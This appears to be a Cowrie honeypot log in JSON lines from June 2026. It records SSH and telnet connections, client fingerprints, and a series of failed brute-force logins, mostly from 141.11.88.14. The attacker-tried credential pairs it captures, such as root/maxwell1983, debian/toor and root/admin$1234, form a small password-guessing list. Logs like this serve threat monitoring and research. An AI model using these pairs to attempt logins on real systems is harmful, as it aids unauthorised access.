{"eventid":"cowrie.session.closed","duration":45.28448987007141,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:01.628820Z","src_ip":"172.81.62.90","session":"4d80c5c756ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":37796,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2be5157f1d9","protocol":"ssh","message":"New connection: 141.11.88.14:37796 (10.17.0.5:22) [session: d2be5157f1d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:05.065019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:05.396526Z","src_ip":"141.11.88.14","session":"d2be5157f1d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:05.400367Z","src_ip":"141.11.88.14","session":"d2be5157f1d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.17856788635254,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:06.738566Z","src_ip":"172.81.62.90","session":"155428e4c2c7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:07.005975Z","src_ip":"141.11.88.14","session":"d2be5157f1d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:08.397166Z","src_ip":"141.11.88.14","session":"d2be5157f1d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":30744,"dst_ip":"10.17.0.5","dst_port":22,"session":"aba08e34678f","protocol":"ssh","message":"New connection: 141.11.88.14:30744 (10.17.0.5:22) [session: aba08e34678f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:12.949431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:12.995535Z","src_ip":"141.11.88.14","session":"aba08e34678f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:13.765340Z","src_ip":"141.11.88.14","session":"aba08e34678f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maxwell1983","message":"login attempt [root/maxwell1983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:15.534994Z","src_ip":"141.11.88.14","session":"aba08e34678f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":22580,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e853c78f1be","protocol":"ssh","message":"New connection: 141.11.88.14:22580 (10.17.0.5:22) [session: 8e853c78f1be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:21.509838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:21.637887Z","src_ip":"141.11.88.14","session":"8e853c78f1be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:21.641259Z","src_ip":"141.11.88.14","session":"8e853c78f1be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"toor","message":"login attempt [debian/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:22.298832Z","src_ip":"141.11.88.14","session":"8e853c78f1be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:23.759341Z","src_ip":"141.11.88.14","session":"8e853c78f1be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":46542,"dst_ip":"10.17.0.5","dst_port":22,"session":"4999f4506715","protocol":"ssh","message":"New connection: 141.11.88.14:46542 (10.17.0.5:22) [session: 4999f4506715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:30.759664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:30.810098Z","src_ip":"141.11.88.14","session":"4999f4506715","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:30.871042Z","src_ip":"141.11.88.14","session":"4999f4506715","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"123","message":"login attempt [cloud/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:31.216916Z","src_ip":"141.11.88.14","session":"4999f4506715","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:32.354484Z","src_ip":"141.11.88.14","session":"4999f4506715","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.1","message":"Connection lost after 22.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:35.009819Z","src_ip":"141.11.88.14","session":"aba08e34678f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":45392,"dst_ip":"159.203.135.109","dst_port":22,"session":"457aded934ed","protocol":"ssh","message":"New connection: 27.71.230.31:45392 (159.203.135.109:22) [session: 457aded934ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:35.908534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:35.920569Z","src_ip":"27.71.230.31","session":"457aded934ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.991337299346924,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:36.069213Z","src_ip":"128.199.8.54","session":"97fadc18630b","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:37.552493Z","src_ip":"27.71.230.31","session":"457aded934ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":19232,"dst_ip":"10.17.0.5","dst_port":22,"session":"d09dacc0e0f1","protocol":"ssh","message":"New connection: 141.11.88.14:19232 (10.17.0.5:22) [session: d09dacc0e0f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:38.116440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:38.218833Z","src_ip":"141.11.88.14","session":"d09dacc0e0f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:38.223980Z","src_ip":"141.11.88.14","session":"d09dacc0e0f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123","message":"login attempt [myuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:40.939841Z","src_ip":"141.11.88.14","session":"d09dacc0e0f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin$1234","message":"login attempt [root/admin$1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:41.146262Z","src_ip":"27.71.230.31","session":"457aded934ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:42.247761Z","src_ip":"141.11.88.14","session":"d09dacc0e0f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:43.128473Z","src_ip":"27.71.230.31","session":"457aded934ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":19244,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dcdba23a4a9","protocol":"ssh","message":"New connection: 141.11.88.14:19244 (10.17.0.5:22) [session: 0dcdba23a4a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:45.239131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:45.460945Z","src_ip":"141.11.88.14","session":"0dcdba23a4a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:45.464435Z","src_ip":"141.11.88.14","session":"0dcdba23a4a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:47.101743Z","src_ip":"141.11.88.14","session":"0dcdba23a4a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:48.384600Z","src_ip":"141.11.88.14","session":"0dcdba23a4a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":64510,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ab90cb28f24","protocol":"ssh","message":"New connection: 141.11.88.14:64510 (10.17.0.5:22) [session: 4ab90cb28f24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:52.730902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:52.913359Z","src_ip":"141.11.88.14","session":"4ab90cb28f24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:52.916208Z","src_ip":"141.11.88.14","session":"4ab90cb28f24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":40470,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a8031de776d","protocol":"telnet","message":"New connection: 94.23.66.112:40470 (10.17.0.5:23) [session: 3a8031de776d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:53.165286Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yun@wocloud.szkj","message":"login attempt [root/Yun@wocloud.szkj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:53.360980Z","src_ip":"141.11.88.14","session":"4ab90cb28f24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.158","src_port":33880,"dst_ip":"159.203.135.109","dst_port":22,"session":"15ac90636516","protocol":"ssh","message":"New connection: 160.191.244.158:33880 (159.203.135.109:22) [session: 15ac90636516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:54.065202Z"}
